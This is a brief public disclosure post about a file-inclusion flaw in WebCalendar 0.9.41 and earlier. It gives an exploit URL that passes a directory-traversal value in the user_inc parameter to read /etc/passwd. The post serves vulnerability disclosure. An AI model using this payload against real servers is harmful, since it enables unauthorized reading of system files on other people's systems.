Webcalendar 0.9.41 and below.
http://webcalendar.sourceforge.net/

  Since this appears to be public info now. 

Problem: 
  http://sourceforge.net/forum/forum.php?thread_id=901234&forum_id=11588

Exploit:
  http://www.some.host/webcalendar/[filename].php?user_inc=../../../../../etc/passwd   


- nocon
http://nocon.darkflame.net/